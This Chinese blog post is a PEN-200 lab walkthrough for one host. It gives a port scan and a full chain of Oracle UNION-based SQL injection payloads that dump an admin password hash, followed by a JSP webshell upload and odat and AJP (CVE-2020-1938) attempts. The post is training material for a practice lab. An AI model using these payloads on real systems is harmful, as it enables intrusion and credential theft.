【pen200-lab】10.11.1.222

news2024/9/24 19:21:26

pen200-lab 学习笔记

【pen200-lab】10.11.1.222


🔥系列专栏:pen200-lab
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • pen200-lab 学习笔记
    • 信息收集
    • smb
    • web
        • 目录爆破
    • 查询数据库
        • 查表
    • 查列
    • 其他的思路尝试
    • rpc
    • 数据库爆破
    • 8009

信息收集

PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1521/tcp  open  oracle-tns     Oracle TNS listener 18.0.0.0.0 (unauthorized)
2030/tcp  open  device2?
2233/tcp  open  infocrypt?
3389/tcp  open  ms-wbt-server?
| ssl-cert: Subject: commonName=chris
| Not valid before: 2022-07-31T01:46:21
|_Not valid after:  2023-01-30T01:46:21
|_ssl-date: 2022-12-01T13:18:03+00:00; 0s from scanner time.
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
8009/tcp  open  ajp13?
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http           Apache Tomcat 9.0.19
|_http-title: Apache Tomcat/9.0.19
47001/tcp open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open  msrpc          Microsoft Windows RPC
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  msrpc          Microsoft Windows RPC
49668/tcp open  unknown
49669/tcp open  msrpc          Microsoft Windows RPC
49670/tcp open  unknown
49684/tcp open  unknown
49703/tcp open  unknown

8080/47001来自于web
139/445来自于smb
1521的甲骨文数据库
5985的winrm
135的rpc
我将从smb这个通常容易出现问题的地方开始

smb

smbmap -H 10.11.1.222
nmap -p 445 --script vuln 10.11.1.222

在这里插入图片描述目前没有办法在这里获得突破
下一步我将去web

web

在这里插入图片描述
但是
两个默认页面
/host-manager/html
以及
/manager
都没有

目录爆破

gobuster dir -u http://10.11.1.222:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 40

在这里插入图片描述发现了一个登录页面

在这里插入图片描述弱口令无效
但是我尝试了一下简单的sql注入起了效果
在这里插入图片描述而当我在搜索框中输入‘时,我发现这个甲骨文数据库的语法报错

在这里插入图片描述
首先进行简单的测试

' or 1=1-- -

在这里插入图片描述出现了未预期的信息
我将针对这个点进行sql注入测试

 ' or 1=2 order by 4-- -

之前都是正常,在4的时候出现了错误
说明字段数是3

在这里插入图片描述

' or 1=2 union select null,null,null from dual-- -

在这里插入图片描述

' or 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- -

可以正确查询到数据库信息

在这里插入图片描述
查询用户存在

' or 1=2 union select null,(SELECT user FROM dual),null from dual-- -

在这里插入图片描述

查询数据库

' or 1=2 union select null,(SELECT SYS.DATABASE_NAME FROM DUAL),null from dual-- -

在这里插入图片描述数据库名为xe

查表

查询表名为web_admins

' or 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- -

在这里插入图片描述

' or 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in 'WEB_ADMINS'),null from dual-- -

得到新的表:WEB_CONTENT
在这里插入图片描述

' or 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('WEB_ADMINS','WEB_CONTENT')),null from dual-- -

在这里插入图片描述接着查有无其他表

' or 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('WEB_ADMINS','WEB_CONTENT','WEB_USERS')),null from dual-- -

在这里插入图片描述终于没了,一共三张表
‘WEB_ADMINS’,‘WEB_CONTENT’,‘WEB_USERS’

查列

在WEB_ADMINS查询

' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1),null from dual-- -

查询列名为ADMIN_ID
在这里插入图片描述
查询除ADMIN_ID之外其他列

' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1 and column_name not in 'ADMIN_ID'),null from dual-- -

在这里插入图片描述接着查有无其他列

' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1 and column_name not in ('ADMIN_ID','ADMIN_NAME')),null from dual-- -

得到password
在这里插入图片描述
接着查

' or 1=2 union select null,(select column_name from user_tab_columns where table_name='WEB_ADMINS' and rownum=1 and column_name not in ('ADMIN_ID','ADMIN_NAME','PASSWORD')),null from dual-- -

在这里插入图片描述没别的了
所以一共三列
‘ADMIN_ID’,‘ADMIN_NAME’,‘PASSWORD’

其他的表我就不试了
我估计没啥东西

' or 1=2 union select null,(select ADMIN_NAME from "WEB_ADMINS" where rownum=1),null from dual-- -

看看有没有别的用户,结果是没有

' or 1=2 union select null,(select ADMIN_NAME from "WEB_ADMINS" where rownum=1 and ADMIN_NAME <> 'admin'),null from dual-- -

在这里插入图片描述

' or 1=2 union select null,(select PASSWORD from "WEB_ADMINS" where rownum=1),null from dual-- -

查询有没有其他密码,结果是并没有

' or 1=2 union select null,(select PASSWORD from "WEB_ADMINS" where rownum=1 and PASSWORD <> 'd82494f05d6917ba02f7aaa29689ccb444bb73f20380876cb05d1f37537b7892'),null from dual-- -

在这里插入图片描述我将获得的hash放在解密
在这里插入图片描述
得到最终凭证
而后我会在web中登陆这个账号‘
在这里插入图片描述我发现了一个文件上传的点
在这里插入图片描述
我随意上传一个
而后看到了完整路径

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\blog\user.txt

blog这个目录非常眼熟
因为这是一个apache服务器,所以我将首先上传php反弹shell

在这里插入图片描述
在这里插入图片描述
可惜失败了,接下来上传一个aspx的webshell
在这里插入图片描述
依旧失败
最终我决定遵循上传页面是jsp页面,所以我会上传一个jsp shell

https://gist.github.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461

在这里插入图片描述而后可以获取到proof.txt

其他的思路尝试

在这里插入图片描述

在这里插入图片描述

到这里暂时没有可前进的地方了
我将继续枚举rpc

rpc

在这里插入图片描述
同样没有任何信息

那么现在我们已经枚举了我们所能枚举的大部分东西,只剩下了数据库的一些攻击,我们现在开始利用

数据库爆破

odat sidguesser -s 10.11.1.222

这要很久,不过我看到了有效的sid,我认为这是个很好的兆头
在这里插入图片描述XE

odat tnspoison -s 10.11.1.222 -d XE --test-module

在这里插入图片描述
并尝试爆破了密码

odat all -s 10.11.1.222 -p 1521 -d XE 

在这里插入图片描述

8009

这个端口存在疑点问题
https://book.hacktricks.xyz/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp

在hacktrick中我也发现了一个东西,他似乎可以帮助我访问tomcat的管理器页面

首先,它具有一个lfi
需要利用脚本
https://github.com/dacade/CVE-2020-1938
在这里插入图片描述可惜我能访问的并不多
并且也没有什么有用的东西
不过这个ajp同样被用作tomcat的代理

由于这是一个apache的tomcat
Apache Tomcat/9.0.19

所以我会使用hacktrick中的这一模块
再利用时会发生找不到安装包的情况

https://forum.hackthebox.com/t/workaround-server-side-attacks-libapache2-mod-jk-package-unavailable/266637

这是解决方法
最终成功的做出来了
可是依旧没有啥东西
我还是不能访问tomcat的一些页面

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/56858.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue框架学习(第十三课)Vuex状态管理中的store和state属性

学习官网文档:开始 | Vuex (vuejs.org) 第一部分:查图观色思考为什么&#xff1f;下面的一张图中的数据如何实现组件与组件之间的数据共享呢&#xff1f; 如何去实现下面的方案呢能让数据得到共享 这一张图告诉你们答案 这样如何实现组件与组件之间的通信呀 Vuex五个核心的基本…

FANUC机器人程序设计

一&#xff0e;注意事项 1.FANUC机器人所有者、操作者必须对自己的安全负责。FANUC不对机器使用的安全问题负责。FANUC提醒用户在使用FANUC机器人时必须使用安全设备&#xff0c;必须遵守安全条款。 2.FANUC机器人程序的设计者、机器人系统的设计和调试者、安装者必须熟悉FAN…

408 考研《操作系统》第一章第一节:操作系统的概念和特征

文章目录教程&#xff1a;1. 操作系统的概念、功能和目标1.1 大家熟悉的操作系统1.2 操作系统的概念1.3 操作系统的功能和目标1.3.1 操作系统的功能和目标——作为系统资源的管理者1.3.2 操作系统的功能和目标——作为用户和计算机硬件之间的接口1.3.3 操作系统的功能和目标——…

【三维目标检测】CenterPoint(二)

CenterPoint数据和源码配置调试过程请参考上一篇博文&#xff1a;https://blog.csdn.net/suiyingy/article/details/128002709。本文主要详细介绍CenterPoint网络结构及其运行中间状态。 1 CenterPoint模型总体过程 CenterPoint模型的整体结构如下图所示&#xff0c;由最初的一…

50 jhat 中 java.lang.String 的实例占用空间为什么是 28 bytes ?

前言 此问题是 多个 classloader 加载的同类限定名的Class 在 jhat 中显示不全d 同一时期发现的问题 大致的情况是 看到了 jhat 中统计的各个 oop 的占用空间 似乎是不太能够对的上 比如 java.lang.String, 在 64bit vm 上面 开启了 UseCompressedOops 之后, 应该是占用 …

Gram矩阵+Gram矩阵和协方差矩阵的关系

目录Gram矩阵简介协方差矩阵Gram矩阵 和 协方差矩阵的关系Gram Matrix代码Gram矩阵简介 gram矩阵是计算每个通道 i 的feature map与每个通道 j 的feature map 的内积 gram matrix的每个值可以说是代表 i 通道的feature map和 j 通道的 feature map的互相关程度。 参考博客 GAT…

小程序开发---02认识宿主环境

小程序依赖于微信提供宿主环境 小程序可以借助宿主环境提供的能力&#xff0c;可以完成许多普通网页无法完成的功能&#xff0c;如&#xff1a;微信扫码&#xff0c;微信支付&#xff0c;微信登录&#xff0c;定理定位&#xff0c;etc…等 小程序宿主环境包含以下内容&#xf…

关闭不同型号的 ESP 芯片的 ROM Code 上电启动日志的流程

【说明】 芯片 ROM Code 上电启动日志&#xff0c;不会对应用固件产生任何影响。通过 ROM Code 上电日志能够判断芯片启动模式是处于什么状态。若关闭此日志打印&#xff0c;当芯片进入下载模式或进入 Flash 启动模式等都不会有任何日志提示&#xff0c;不利于检查芯片状态&am…

操作系统学习笔记(V):设备管理

目录 1 设备 1.1 设备的概念 1.2 设备的分类 2 I/O控制器 2.1 I/O控制器 1.定义 2.功能 3.组成 2.2 I/O控制方式 1.程序直接控制方式 2.中断驱动方式 3.DMA方式 4.通道控制方式 5.对比 2.3 I/O软件层次结构 1.用户层软件 2.设备独立性软件 3.设备驱动程序 4…

Windows ssh免密访问Linux服务器

文章目录1.在Windows上生成公钥和私钥2.将公钥中的内容复制到linux服务器3.确认linux服务器开启了允许SSH免密登录4.确认免密登录配置成功ssh提供了安全的身份认证的策略&#xff0c;在免密登录之前&#xff0c;首先需要一对公钥和私钥。客户端拿着私钥&#xff0c;服务端拿着公…

【计算机网络】超详细——华为eNSP的安装教程

网络工程师小白或初次接触计算机网络的学生&#xff0c;网络相关的书本学习起来枯燥乏味&#xff0c;这时需要仿真模拟器来加深对网络知识的理解。目前提供网络仿真平台有cisco、华为等&#xff0c;若您英语基础薄弱建议选华为&#xff0c;英语阅读能力较强的直接上cisco的模拟…

redis我记不住的那些命令(五)

背景&#xff1a;我记不住那么多命令&#xff0c;又是Linux命令&#xff0c;又是Git命令&#xff0c;又是kubernetes的命令&#xff0c;又是maven命令&#xff0c;又是redis命令。所谓好记性不如烂笔头&#xff0c;记下来吧。 一、set集合 集合的特点是 无序且各不相同的元素…

SpringSecurity(二十二)--OAuth2:实现资源服务器(下)通过redis和缓存实现TokenStore

一、前言 本章将在前面几章基础上进行讲解&#xff0c;所以大家最好尽量先去看一下前几章的内容再来跟进会好很多。那么本章我们将通过redis和本地缓存Caffeine对JdbcTokenStore进行重写&#xff0c;并且讲解资源服务器配置的新方案&#xff0c;使得我们可以不用在资源服务器又…

[附源码]计算机毕业设计springboot校园疫情防范管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

LeetCode 337. 打家劫舍 III(C++)*

该题也是使用动态规划的思路&#xff0c;主要考虑根节点的最大金额和左右子节点的关系&#xff0c;其中分为两种情况&#xff1a;有该结点有没有偷钱&#xff0c;其次要遵守不报警原则。可得到状态转移方程&#xff1a; f为根节点被选中的最大&#xff0c;g为根节点没被选中的最…

Day17-购物车页面-结算-动态计算已勾选商品的数据和选中状态

1.动态渲染已勾选商品的总数量 我的操作&#xff1a; 1》在 store/cart.js 模块中&#xff0c;定义一个名称为 checkedCount 的 getters&#xff0c;用来统计已勾选商品的总数量&#xff1a; 2》在 my-settle 组件中&#xff0c;通过 mapGetters 辅助函数&#xff0c;将需要的…

[附源码]Python计算机毕业设计Django健身房信息管理

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

GIS工具maptalks开发手册(五)01-用JSON载入地图——json格式绘制多个面之基础版

GIS工具maptalks开发手册(五)01-用JSON载入地图——json格式绘制多个面之基础版 效果-json渲染图层基础版 代码 index.html <!DOCTYPE html> <html> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width,…

HTML5期末考核大作业,网站——旅游景点。 学生旅行 游玩 主题住宿网页

&#x1f389;精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业…

【网络层】流量控制VS拥塞控制、路由器功能、SDN控制平面

文章目录前言网络层功能流量控制VS拥塞控制拥塞控制路由器功能转发---硬件解决------数据平面---------处理数据各种转发路由选择---软件解决---控制平面----控制网络协议运行-------OSPF、RIP、BGP数据平面控制平面---路由选择传统方法-------每路由器法----------路由选择处理…